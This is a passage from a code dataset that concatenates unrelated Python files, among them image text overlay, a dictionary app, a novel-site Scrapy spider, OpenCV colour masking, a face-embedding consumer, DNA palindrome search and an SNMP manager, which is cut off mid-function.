processopenpositions()\r\n\r\n\r\n # selectoptioncontract()\r\n\r\n # desconnectem de IBAPI\r\n ibDisconnect()\r\n\r\n","sub_path":"OLD_besuga_ib_mav_process_open_pos.py","file_name":"OLD_besuga_ib_mav_process_open_pos.py","file_ext":"py","file_size_in_byte":18856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"453514556","text":"from PIL import Image,ImageFont,ImageDraw\n\ndef Image_change(image_name,name_of_article,high_text):\n image1 = Image.open(image_name)\n (width, heigh) = image1.size\n # (width,heigh)=image1.size\n # print(width)\n # print(heigh)\n # y=heigh*0.6\n # y1=heigh*0.65\n # x1=width*0.05\n #image1.show()\n #image1.thumbnail((300,300))\n text=name_of_article\n while text.find('«')!=-1:\n text_quot1=text.find('«')\n text_quot2=text.find('»')\n text=text[:text_quot1]+'\"'+text[text_quot1+1:]\n text = text[:text_quot2] + '\"' + text[text_quot2+1:]\n\n # text[text_copy1.find('«')]='\"'\n # text[text_copy1.find('»')] = '\"'\n # text = text_copy1[:text.find('«')]+'\"'+text[text.find('«')+1:]\n # text = text_copy2[:text.find('»')] + '\"' + text[text.find('»') + 1:]\n # second_quot=text.find('»')\n # text[second_quot] = '\"'\n text_len=len(text)\n words=text.split(' ')\n print(len(words))\n new_text=''\n font_size = round(width / 20)\n separator=25\n if text_len >= 50:\n font_size = round(font_size * 0.8)\n separator=30\n counter_of_symbols=0\n for i in range(len(words)):\n counter_of_symbols+=len(words[i])\n if counter_of_symbols>=separator:\n new_text+='\\n'\n counter_of_symbols=len(words[i])\n new_text+=words[i]+' '\n\n\n (width,heigh)=image1.size\n print(heigh)\n differ=width-heigh\n categ_beginy=heigh+differ*0.05\n categ_beginx=width*0.1\n text_beginx = width * 0.03\n text_beginy=heigh+differ*0.2\n # if width>heigh:\n img=Image.new(mode='RGB',size=(width,width),color='#003333')\n im=image1.point(lambda p: p * 1.15)\n img.paste(im,(0,0))\n #img.show()\n font_size=round(width/19)\n if text_len>=50:\n font_size=round(font_size*0.8)\n else:\n y=heigh*0.4\n y1=heigh*0.5\n x1=width*0.1\n #img = image1.point(lambda p: p * 0.6)\n draw = ImageDraw.Draw(img)\n font = ImageFont.truetype(\"12241.ttf\", font_size)\n fontt = ImageFont.truetype(\"12241.ttf\", round(font_size/1.5))\n draw.text((text_beginx, categ_beginy),high_text.upper(),'#FFD700',font=fontt)\n draw.text((text_beginx, text_beginy),new_text,(255,255,255),font=font)\n # draw.text((105, 210),\"уже 20 лет. Какими они были\",(255,255,255),font=font)\n img.save(image_name)\n #img=image1.filter(ImageFilter.SMOOTH_MORE)\n #img.show()","sub_path":"Image_format.py","file_name":"Image_format.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"15961063","text":"__author__ = 'http://www.careercup.com/question?id=5176833186201600'\n\n\ndef findMinRepr(num):\n listOfRepr = []\n contentCount = 0\n curNum = 0\n while curNum < num:\n curNum = (len(listOfRepr)+1)**2\n listOfRepr.append(curNum)\n leftOverNum = num\n\n\n while leftOverNum > 0:\n contentCount+=1\n curNum = 0\n for i in range(len(listOfRepr)):\n curNum = listOfRepr[i]\n if i == len(listOfRepr) -1 or listOfRepr[i+1] > leftOverNum:\n break\n leftOverNum -= curNum\n return contentCount\n","sub_path":"FindMinNumOfRepr/FindMinRepr.py","file_name":"FindMinRepr.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"503910423","text":"import json\nimport codecs\nfrom difflib import get_close_matches\n\n\nclass WordIsAlreadyTranslatedError(Exception):\n pass\n\n\ndef translate(word, eng_2_rus):\n \"\"\" (str, dict of {str:str}) -> (str, str)\n Переводит слово word на английский язык, используя словарь eng_2_rus,\n и возвращает как слово на английском, так и его значение на русском языке\n Предусловие: в словаре eng_2_rus должен быть ключ word или на >= 60%\n похожее на него слово, иначе возвращается (word, None)\n \"\"\"\n word = word.lower()\n if word in eng_2_rus:\n # большинство английских слов в словаре набраны в нижнем регистре\n return word, eng_2_rus[word]\n elif word.title() in eng_2_rus:\n # ситуация, когда ищем слова типа \"Magnitogorsk\", \"Friday\", \"December\"\n t_word = word.title()\n return t_word, eng_2_rus[t_word]\n elif word.upper() in eng_2_rus:\n # помогает если ищем слова типа \"USA\", \"TV\", \"OK\"\n up_word = word.upper()\n return up_word, eng_2_rus[up_word]\n\n # поиск похожих слов\n close_matches = get_close_matches(word, eng_2_rus.keys())\n if close_matches:\n similar_word = close_matches[0]\n question = \"Did you mean '{0}' instead of '{1}'? Enter 'Y' to confirm: \"\n confirm = input(question.format(similar_word, word))\n if confirm in \"Yy\":\n return similar_word, eng_2_rus[similar_word]\n\n return word, None\n\n\n# здесь начинается основная программа\ndata = json.load(open(\"dict.json\"))\n\nwhile True:\n print(\"\"\"\n Англо-русский словарь\n \n 0 - Выйти\n 1 - Найти толкование термина\n 2 - Добавить термин\n 3 - Изменить толкование термина\n 4 - Удалить термин\n 5 - Сохранить в файл\n \"\"\")\n\n choice = None\n\n while choice is None:\n try:\n choice = int(input(\"Ваш выбор: \"))\n\n except ValueError:\n print(\"Введите число от 0 до 5\")\n\n if choice == 0:\n print(\"Выход\")\n exit()\n\n elif choice == 1:\n english_word = input(\"Введите слово на английском: \")\n translation = translate(english_word, data)\n print('{} - {}'.format(translation[0], translation[1]))\n\n elif choice == 2:\n new_word = input(\"Введите новое слово на английском: \")\n\n try:\n if new_word in data:\n raise WordIsAlreadyTranslatedError\n\n new_translation = input(\"Введите перевод нового слова: \")\n data[new_word] = new_translation\n\n except WordIsAlreadyTranslatedError:\n translation = translate(new_word, data)\n print(\"Слово уже переведено\")\n print('{} - {}'.format(translation[0], translation[1]))\n\n elif choice == 3:\n english_word = input(\"Введите слово, перевод которого хотите изменить: \")\n actual_english_word, translated_word = translate(english_word, data)\n if translated_word is not None:\n print(\n f\"Сейчас {actual_english_word} означает {translated_word}\")\n new_translation = input(\"Введите новое значение слова: \")\n data[actual_english_word] = new_translation\n print('{} - {}'.format(actual_english_word, new_translation))\n\n else:\n print(\"Слово не найдено\")\n\n elif choice == 4:\n english_word = input(\"Введите слово, которое хотите удалить: \")\n actual_english_word, translated_word = translate(english_word, data)\n if translated_word is not None:\n print(f\"Слово {actual_english_word}-{data.pop(actual_english_word)} удалено\")\n\n else:\n print(\"Слово не найдено\")\n\n elif choice == 5:\n with codecs.open(\"dict.json\", 'w', encoding=\"utf8\") as dict:\n json.dump(data, dict)\n\n print(\"Словарь сохранен\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"567672805","text":"#!/usr/bin/python3\n\nimport re\nimport scrapy\nfrom bs4 import BeautifulSoup\nfrom scrapy.http import Request\nfrom novel_content.items import NovelContentItem\n\nclass Myspider(scrapy.Spider):\n name = 'novel_content'\n allowed_domains = ['23us.so']\n bash_url = 'http://www.23us.so/xiaoshuo/1809.html'\n bashurl = '.html'\n\n def start_requests(self):\n yield Request(self.bash_url,callback=self.parse)\n\n def parse(self,response):\n novelname = '大主宰'\n name_id = 1000\n bash_url = BeautifulSoup(response.text,'lxml').find('p',class_='btnlinks').find('a',class_='read')['href']\n yield Request(url=bash_url, callback=self.get_chapter, meta={\n 'name': novelname\n })\n\n def get_chapter(self, response):\n urls = re.findall(r'(.*?)', response.text)\n num = 0\n for url in urls:\n num = num + 1\n chapterurl = url[0]\n chaptername = url[1]\n print(\"chaptername:%s\" % url[1])\n yield Request(chapterurl, callback=self.get_chaptercontent, meta={'num': num,\n 'name': response.meta['name'],\n 'chaptername': chaptername,\n 'chapterurl': chapterurl\n })\n\n def get_chaptercontent(self, response):\n item = NovelContentItem()\n item['number'] = response.meta['num']\n item['name'] = response.meta['name']\n item['chaptername'] = str(response.meta['chaptername']).replace('\\xa0', '')\n item['chapterurl'] = response.meta['chapterurl']\n content = BeautifulSoup(response.text, 'lxml').find('dd', id=\"contents\").get_text()\n item['chaptercontent'] = str(content).replace('\\xa0', '')\n return item","sub_path":"novel_content/novel_content/spiders/novel_content.py","file_name":"novel_content.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"300387982","text":"import cv2\r\nimport numpy as np\r\n\r\n# for \"g.jpg\" with orange cake set values 0,179,207,255,202,255\r\n# for \"b.jpg\" with orange shirt set values 171,179,95,255,103,255\r\n# for \"7.jpg\" with orange car set values 10,179,58,255,164,255\r\n# for \"2.jpg\" with white snow set values 0,179,0,255,219,255\r\n# for \"3.jpg\" with white snow set values 179,155,3,29,152,255\r\n\r\ndef empty(a):\r\n pass\r\n\r\n\r\ncv2.namedWindow(\"Track Bar\")\r\ncv2.resizeWindow(\"Track Bar\",640,200)\r\ncv2.createTrackbar(\"Hue Min\",\"Track Bar\",0,179,empty)\r\ncv2.createTrackbar(\"Hue Max\",\"Track Bar\",179,179,empty)\r\ncv2.createTrackbar(\"Sat Min\",\"Track Bar\",0,255,empty)\r\ncv2.createTrackbar(\"Sat Max\",\"Track Bar\",255,255,empty)\r\ncv2.createTrackbar(\"Val Min\",\"Track Bar\",0,255,empty)\r\ncv2.createTrackbar(\"Val Max\",\"Track Bar\",255,255,empty)\r\n\r\n\r\nwhile True:\r\n img = cv2.imread (r\"C:\\Users\\windows 10\\Desktop\\OpenCV Image\\Images\\green.jpg\",1)\r\n resized = cv2.resize(img, (int(img.shape[1]/2.5),int(img.shape[0]/2.5))) \r\n imgHSV = cv2.cvtColor(resized,cv2.COLOR_BGR2HSV)\r\n\r\n h_min = cv2.getTrackbarPos(\"Hue Min\",\"Track Bar\")\r\n h_max = cv2.getTrackbarPos(\"Hue Max\",\"Track Bar\")\r\n s_min = cv2.getTrackbarPos(\"Sat Min\",\"Track Bar\")\r\n s_max = cv2.getTrackbarPos(\"Sat Max\",\"Track Bar\")\r\n v_min = cv2.getTrackbarPos(\"Val Min\",\"Track Bar\")\r\n v_max = cv2.getTrackbarPos(\"Val Max\",\"Track Bar\")\r\n\r\n lower = np.array([h_min,s_min,v_min])\r\n upper = np.array([h_max,s_max,v_max]) \r\n mask = cv2.inRange(imgHSV,lower,upper) # filter out image of that color (keep it white)\r\n\r\n imgResult = cv2.bitwise_and(resized,resized,mask=mask) #show our picked color range\r\n\r\n cv2.imshow(\"jatin\", resized)\r\n cv2.imshow(\"HSV\", imgHSV)\r\n cv2.imshow(\"Mask\", mask)\r\n cv2.imshow(\"Final\", imgResult)\r\n key = cv2.waitKey(1)\r\n if key==ord('q'):\r\n break\r\n ","sub_path":"colorDetection_image.py","file_name":"colorDetection_image.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"48786940","text":"import json\n\n\ndef send_json(response, data):\n if not (type(data) is list):\n data = [data]\n\n json_dict = {'notes': []}\n for d in data:\n try:\n pre_json = d.to_dict()\n except:\n pre_json = d\n finally:\n json_dict['notes'].append(pre_json)\n \n response.headers['Content-Type'] = \"application/json\"\n response.write(json.dumps(json_dict))\n","sub_path":"server/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"289717535","text":"import os\nimport numpy as np\nimport torch\nfrom PIL import Image\nimport torchvision.transforms as transforms\n\nfrom face_parsing.model import BiSeNet\n\nclass FaceParsing(object):\n def __init__(self, model_path=None):\n if model_path is None: \n model_path = '../../../external/data/models/face_parsing/face_parsing_79999_iter.pth'\n\n self.net = BiSeNet(n_classes=19)\n self.net.load_state_dict(torch.load(model_path))\n self.net.eval()\n\n self.transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)),\n ])\n\n def to_tensor(self, images):\n # images : N,H,W,C numpy.array\n return self.transform(images)\n\n def parse_face(self, images, device=0):\n # images : list of PIL Images\n # device : which CUDA device to run on\n #\n # returns parsings : list of PIL Images\n\n # move the network to the correct device\n self.net.to('cuda:{}'.format(device))\n\n assert all(im.size[0] == im.size[1] for im in images)\n in_sizes = [im.size[0] for im in images] # im is square\n\n pt_images = []\n for img in images:\n # seems to work best with images around 512\n img = img.resize((512, 512), Image.BILINEAR)\n img = self.to_tensor(img)\n pt_images.append(img)\n pt_images = torch.stack(pt_images, dim=0)\n\n # move the data to the device\n pt_images = pt_images.to('cuda:{}'.format(device))\n\n out = self.label(pt_images)\n parsings = out.squeeze(0).cpu().numpy().argmax(1).astype(np.uint8)\n \n parsings = [Image.fromarray(parsing).resize((in_size, in_size))\n for parsing, in_size in zip(parsings, in_sizes)]\n\n return parsings # list of PIL Images\n\n def label(self, pt_images):\n # N,H,W,C torch.tensor\n with torch.no_grad():\n return self.net(pt_images)[0]\n\n","sub_path":"FaceParsing.py","file_name":"FaceParsing.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"234072776","text":"from pyecharts.faker import Faker\nfrom pyecharts.charts import EffectScatter\nimport pyecharts.options as opts\nfrom pyecharts.globals import SymbolType\n\neffect_scatter = EffectScatter()\neffect_scatter.add_xaxis(Faker.choose())\neffect_scatter.add_yaxis(\n '散点图',\n Faker.values(),\n symbol=SymbolType.DIAMOND\n)\neffect_scatter.set_global_opts(title_opts=opts.TitleOpts(title='EffectScatter-散点图'))\neffect_scatter.render('../source_material/01/15-动态散点图.html')\nprint('生成成功')\n","sub_path":"Python_Office_Automation/10-数据可视化/01-数据可视化【基础篇】/15-散点图.py","file_name":"15-散点图.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"430050572","text":"import sys\nimport time\nimport json\nimport numpy as np\nfrom extract_service.engine import ExtractModel\nsys.path.append(\"../rabbitmq\")\nfrom rabbitmq.consumer import Consumer\nfrom rabbitmq import consumer_utils, publisher\n\nclass ExtractConsumer(Consumer):\n def __init__(self, model_config, rabbitmq_config, publisher_config):\n super().__init__(rabbitmq_config)\n self.model_config = model_config\n self.publisher_config = publisher_config\n self.model = ExtractModel(self.model_config)\n \n def callback(self, ch, method, properties, body):\n \"\"\"\n Callback function extract consume\n >> message\n >> {\n \"phase\": \"insert\" || \"search\"\n \"num_faces\": num_face_exist_in_image\n \"detect_time\": time\n \"extract_time\": time\n \"data\": {\n \"1\": {\n \"embedding\": embedding vector extracted,\n \"bbox\": []\n }\n }\n } \n \"\"\"\n start_time = time.time()\n content = json.loads(body.decode(encoding=\"utf-8\"))\n print(\"extract content: \", content)\n extract_message = {}\n #\n data = content[\"data\"]\n num_faces = content[\"num_faces\"]\n detect_time = content[\"detect_time\"]\n keys = list(data.keys())\n # print(\"keys: \", keys)\n embedding_data = {}\n for key in keys:\n extract_data = {}\n # get data\n meta_face = data[key]\n bbox = meta_face[\"bbox\"]\n face = np.asarray(meta_face[\"face\"])\n # extract\n embedding = self.model.extract_feature(face)\n # storage data\n extract_data[\"embedding\"] = embedding.tolist()\n extract_data[\"bbox\"] = bbox\n embedding_data[key] = extract_data\n # message response\n extract_message[\"phase\"] = content[\"phase\"]\n extract_message[\"num_faces\"] = num_faces\n extract_message[\"detect_time\"] = detect_time\n extract_message[\"extract_time\"] = time.time()-start_time\n extract_message[\"data\"] = embedding_data\n data_json = json.dumps(extract_message)\n # print(data_json)\n publisher.send(exchange_name=self.publisher_config[\"exchange_name\"],\n key=self.publisher_config[\"routing_key\"],\n message=data_json)\n ch.basic_ack(delivery_tag=method.delivery_tag)\n","sub_path":"extract_service/extract_consumer.py","file_name":"extract_consumer.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"387920386","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\n\nparser = argparse.ArgumentParser()\nparser.add_argument('assembly_stats_file', default='aggregated.assembly_stats.csv', help=\"File with assembly stats\")\nparser.add_argument('--threshold', type=int, default=1200, help=\"Minimal genome size\")\nparser.add_argument('--output-file', default='aggregated.fasta', help=\"Name for output file with all scaffolds\")\nparser.add_argument('--output-file-scaffold0', default='aggregated_scaffold_0.fasta',\n help=\"Name for output file with only scaffold_0 entries\")\nargs = parser.parse_args()\nprint(args)\n\nstats_file = args.assembly_stats_file\noutput_all_file = args.output_file\noutput_scaffold0_file = args.output_file_scaffold0\nthreshold = args.threshold\ntotal = 0\nmatch = 0\nwith open(stats_file, 'r') as fh, open(output_all_file, 'w') as out_all, open(output_scaffold0_file, 'w') as out_sc0:\n for line in fh:\n if not line.startswith('.'):\n continue\n total += 1\n fields = line.split('\\t')\n\n origin_folder = fields[0]\n genome_size = int(fields[4])\n\n if genome_size >= threshold:\n match += 1\n with open(os.path.join(origin_folder, 'a5.contigs.fasta'), 'r') as fasta:\n scaffold_counter = 0\n for fa_line in fasta:\n if fa_line.startswith('>'):\n fa_line = f\">{origin_folder[2:]}_{fa_line[1:]}\" # modify header\n scaffold_counter += 1\n out_all.write(fa_line)\n if scaffold_counter > 1:\n out_sc0.write(fa_line)\n\n\nprint(f\"Wrote all sequences to {output_all_file!r}\")\nprint(f\"Wrote scaffold_0 sequences to {output_scaffold0_file!r}\")\nprint(f\"From {total} entries {match} matched the threshold ({threshold}). {round(100 * match/total, 2)}%\")\n","sub_path":"getFasta.py","file_name":"getFasta.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"227672401","text":"class DnaSeq:\n def __init__(self, fasta_id, seq):\n self.fasta_id = fasta_id\n self.seq = seq.lower()\n self.length = len(seq)\n\n\ndef rev_complement(dna_input):\n # Create the complement then reverse slice it to get the reverse complement of the DNA.\n nuc_pairs = {\n \"a\": \"t\",\n \"t\": \"a\",\n \"c\": \"g\",\n \"g\": \"c\"\n }\n complement = \"\"\n for base in dna_input:\n complement += nuc_pairs[base]\n\n reverse_complement = complement[::-1]\n\n return reverse_complement\n\n\ndef find_palindrome(dna_input):\n dna_input = dna_input.lower()\n palindrome_positions = []\n for position in range(len(dna_input)):\n # Go through each position in the sequence and check if there is a palindrome in the bases downstream of it.\n test_lengths = [12, 10, 8, 6, 4]\n # Number of bases downstream to check for palindromes. Rosalind set the lengths between 12 and 4.\n # We only need to check even numbers since palindromes must be even in length.\n for length in test_lengths:\n test_seq = dna_input[position: position+length]\n if test_seq == rev_complement(test_seq) and len(test_seq) == length:\n palindrome_positions.append([position+1, length])\n # Want to prioritise the longest possible palindrome so move on to the next position as soon as one is\n # found. E.g. if a palindrome is found at 8, one will also exist at 6 and 4 but we only care about 8.\n break\n\n return palindrome_positions\n\n\ndef process_file(input_file):\n file = open(input_file)\n fasta_id = file.readline().strip()\n lines = file.readlines()\n fasta_seq = ''\n for line in lines:\n fasta_seq += line.strip()\n seq_obj = DnaSeq(fasta_id, fasta_seq)\n file.close()\n\n palindrome_list = find_palindrome(seq_obj.seq)\n\n solution = ''\n for palindrome in palindrome_list:\n solution += str(palindrome[0]) + \" \" + str(palindrome[1]) + '\\n'\n\n solution_file = open('solution_file.txt', 'w')\n solution_file.write(solution)\n solution_file.close()\n print(solution)\n\n\nprocess_file('rosalind_revp.txt')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"451961900","text":"# Copyright 2016 VMware, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Fix the availability zones default value in the router bindings table\n\nRevision ID: 7b5ec3caa9a4\nRevises: 6e6da8296c0e\nCreate Date: 2016-09-07 11:38:35.369938\n\n\"\"\"\n\nfrom alembic import op\n\nfrom neutron.db import migration\n\n\n# revision identifiers, used by Alembic.\nrevision = '7b5ec3caa9a4'\ndown_revision = '6e6da8296c0e'\n\n# milestone identifier, used by neutron-db-manage\nneutron_milestone = [migration.NEWTON]\n\n\ndef upgrade():\n #previous migration left this column empty instead of 'default'\n op.execute(\"UPDATE nsxv_router_bindings SET availability_zone='default' \"\n \"where availability_zone is NULL\")\n","sub_path":"vmware_nsx/db/migration/alembic_migrations/versions/newton/expand/7b5ec3caa9a4_nsxv_fix_az_default.py","file_name":"7b5ec3caa9a4_nsxv_fix_az_default.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"299255083","text":"from __future__ import print_function\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport urllib\nimport numpy as np\nimport zipfile\nimport os\nfrom scipy.misc import imsave\nfrom skimage.transform import resize as imresize\nimport skimage\nimport skimage.io\nimport skimage.transform\nimport scipy.misc\nfrom PIL import Image\n\n\n\ndef montage(images, saveto='montage.png'):\n \"\"\"Draw all images as a montage separated by 1 pixel borders.\n\n Also saves the file to the destination specified by `saveto`.\n\n Parameters\n ----------\n images : numpy.ndarray\n Input array to create montage of. Array should be:\n batch x height x width x channels.\n saveto : str\n Location to save the resulting montage image.\n\n Returns\n -------\n m : numpy.ndarray\n Montage image.\n \"\"\"\n if isinstance(images, list):\n images = np.array(images)\n img_h = images.shape[1]\n img_w = images.shape[2]\n n_plots = int(np.ceil(np.sqrt(images.shape[0])))\n if len(images.shape) == 4 and images.shape[3] == 3:\n m = np.ones(\n (images.shape[1] * n_plots + n_plots + 1,\n images.shape[2] * n_plots + n_plots + 1, 3)) * 0.5\n elif len(images.shape) == 4 and images.shape[3] == 1:\n m = np.ones(\n (images.shape[1] * n_plots + n_plots + 1,\n images.shape[2] * n_plots + n_plots + 1, 1)) * 0.5\n elif len(images.shape) == 3:\n m = np.ones(\n (images.shape[1] * n_plots + n_plots + 1,\n images.shape[2] * n_plots + n_plots + 1)) * 0.5\n else:\n raise ValueError('Could not parse image shape of {}'.format(\n images.shape))\n for i in range(n_plots):\n for j in range(n_plots):\n this_filter = i * n_plots + j\n if this_filter < images.shape[0]:\n this_img = images[this_filter]\n m[1 + i + i * img_h:1 + i + (i + 1) * img_h,\n 1 + j + j * img_w:1 + j + (j + 1) * img_w] = this_img\n imsave(arr=np.squeeze(m), name=saveto)\n return m\n\n\ndef montage_filters(W):\n \"\"\"Draws all filters (n_input * n_output filters) as a\n montage image separated by 1 pixel borders.\n\n Parameters\n ----------\n W : Tensor\n Input tensor to create montage of.\n\n Returns\n -------\n m : numpy.ndarray\n Montage image.\n \"\"\"\n W = np.reshape(W, [W.shape[0], W.shape[1], 1, W.shape[2] * W.shape[3]])\n n_plots = int(np.ceil(np.sqrt(W.shape[-1])))\n m = np.ones(\n (W.shape[0] * n_plots + n_plots + 1,\n W.shape[1] * n_plots + n_plots + 1)) * 0.5\n for i in range(n_plots):\n for j in range(n_plots):\n this_filter = i * n_plots + j\n if this_filter < W.shape[-1]:\n m[1 + i + i * W.shape[0]:1 + i + (i + 1) * W.shape[0],\n 1 + j + j * W.shape[1]:1 + j + (j + 1) * W.shape[1]] = (\n np.squeeze(W[:, :, :, this_filter]))\n return m\n\n\ndef imread(path):\n img = scipy.misc.imread(path).astype(np.float)\n if len(img.shape) == 2:\n # grayscale\n img = np.dstack((img,img,img))\n elif img.shape[2] == 4:\n # PNG with alpha channel\n img = img[:,:,:3]\n return img \n\ndef load_image(path):\n # load image\n img = skimage.io.imread(path)\n img = img / 255.0\n assert (0 <= img).all() and (img <= 1.0).all()\n # print \"Original Image Shape: \", img.shape\n # we crop image from center\n short_edge = min(img.shape[:2])\n yy = int((img.shape[0] - short_edge) / 2)\n xx = int((img.shape[1] - short_edge) / 2)\n crop_img = img[yy: yy + short_edge, xx: xx + short_edge]\n # resize to 224, 224\n resized_img = skimage.transform.resize(crop_img, (224, 224))\n return resized_img\n\ndef preprocess(img, crop=True, resize=True, dsize=(224, 224)):\n if img.dtype != np.uint8:\n img *= 255.0\n\n if crop:\n crop = np.min(img.shape[:2])\n r = (img.shape[0] - crop) // 2\n c = (img.shape[1] - crop) // 2\n cropped = img[r: r + crop, c: c + crop]\n else:\n cropped = img\n\n if resize:\n rsz = imresize(cropped, dsize, preserve_range=True)\n else:\n rsz = cropped\n\n if rsz.ndim == 2:\n rsz = rsz[..., np.newaxis]\n\n rsz = rsz.astype(np.float32)\n return rsz\n\n\ndef print_prob(prob, file_path='./synset.txt'):\n synset = [l.strip() for l in open(file_path).readlines()]\n \n # print prob\n pred = np.argsort(prob)[::-1]\n\n # Get top1 label\n top1 = synset[pred[0]].split(' ')[1:]\n print((\"Top1: \", top1, prob[pred[0]]))\n # Get top5 label\n top5 = [(synset[pred[i]].split(' ')[1:], prob[pred[i]]) for i in range(5)]\n print((\"Top5: \", top5))\n\n\ndef normalize(a, s=0.1):\n '''Normalize the image range for visualization'''\n return np.uint8(np.clip(\n (a - a.mean()) / max(a.std(), 1e-4) * s + 0.5,\n 0, 1) * 255)\n\n\n\n\n","sub_path":"labs/12-2_Visualization_and_Style_Transfer/libs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"225463401","text":"def gen_func():\n for itm in 'abc':\n yield itm\n\n\nlt = list(gen_func())\nprint(lt)\n\n\n# ['a', 'b', 'c']\n\n# The yield statement works differently than return - it returns the value and suspends the function, but does not\n# leave it.\n\ndef next_square():\n i = 1\n\n while True:\n yield i * i\n i += 1\n\n\nfor num in next_square():\n if num > 100:\n break\n print(num)\n","sub_path":"Basic/Extra_generator/yield.py","file_name":"yield.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"226429344","text":"__all__ = [\"SNMPv2cManager\"]\n\nimport heapq\nimport math\nimport threading\nimport time\n\nfrom snmp.manager import *\nfrom snmp.message import *\nfrom snmp.pdu import *\nfrom snmp.utils import *\n\nclass Request(RequestHandle):\n def __init__(self, pdu, manager, community,\n timeout=10.0, refreshPeriod=1.0):\n now = time.time()\n\n self.community = community\n self.manager = manager\n self.pdu = pdu\n\n self.callback = None\n self.event = threading.Event()\n self.response = None\n\n self.expiration = now + timeout\n self._nextRefresh = self.expiration\n self.period = refreshPeriod\n\n def __del__(self):\n if self.callback is not None:\n self.close()\n\n @property\n def expired(self):\n return self.expiration <= time.time()\n\n @property\n def nextRefresh(self):\n return self._nextRefresh\n\n @nextRefresh.setter\n def nextRefresh(self, value):\n self._nextRefresh = min(self.expiration, value)\n\n def close(self):\n self.callback(self.pdu.requestID)\n self.callback = None\n\n def addCallback(self, callback, requestID):\n assert requestID == self.pdu.requestID\n assert self.callback is None\n\n self.callback = callback\n\n def push(self, response):\n self.response = response\n self.event.set()\n\n # Always update self.nextRefresh right before calling this method\n def reallySend(self):\n self.manager.sendPdu(self.pdu, self, self.community)\n\n def refresh(self):\n if self.event.is_set():\n return None\n\n now = time.time()\n timeToNextRefresh = self.nextRefresh - now\n\n if timeToNextRefresh <= 0.0:\n if self.expiration <= now:\n return None\n\n # Calculating it like this mitigates over-delay\n periodsElapsed = math.ceil(-timeToNextRefresh / self.period)\n self.nextRefresh += periodsElapsed * self.period\n self.reallySend()\n return 0.0\n else:\n return timeToNextRefresh\n\n def send(self):\n now = time.time()\n self.nextRefresh = now + self.period\n self.reallySend()\n\n def wait(self):\n pdu = None\n while not self.expired:\n timeout = self.manager.refresh()\n if self.event.wait(timeout=timeout):\n pdu = self.response.pdu\n break\n\n self.close()\n if pdu is None:\n raise Timeout()\n else:\n if pdu.errorStatus:\n raise ErrorResponse(pdu.errorStatus, pdu.errorIndex, self.pdu)\n else:\n return pdu.variableBindings\n\nclass SNMPv2cManager:\n def __init__(self, dispatcher, locator, community, autowait=True):\n self.autowait = autowait\n self.locator = locator\n\n self.dispatcher = dispatcher\n self.defaultCommunity = community\n\n self.lock = threading.Lock()\n self.requests = []\n\n def refresh(self):\n while self.requests:\n with self.lock:\n reference = self.requests[0]\n request = reference()\n\n if request is None:\n wait = None\n else:\n wait = request.refresh()\n\n if wait is None:\n heapq.heappop(self.requests)\n continue\n elif wait > 0.0:\n return wait\n else:\n heapq.heapreplace(self.requests, reference)\n\n return None\n\n def sendPdu(self, pdu, handle, community):\n self.dispatcher.sendPdu(\n self.locator,\n MessageProcessingModel.SNMPv2c,\n pdu,\n handle,\n community,\n )\n\n def sendRequest(self, pdu, community=None, wait=None, **kwargs):\n if community is None:\n community = self.defaultCommunity\n\n if wait is None:\n wait = self.autowait\n\n request = Request(pdu, self, community, **kwargs)\n reference = ComparableWeakRef(request, key=lambda r: r.nextRefresh)\n\n with self.lock:\n heapq.heappush(self.requests, reference)\n request.send()\n\n if wait:\n return request.wait()\n else:\n return request\n\n def get(self, *oids, **kwargs):\n pdu = GetRequestPDU(*oids)\n return self.sendRequest(pdu, **kwargs)\n\n def getBulk(self, *oids, nonRepeaters=0, maxRepetitions=0, **kwargs):\n pdu = GetBulkRequestPDU(\n *oids,\n 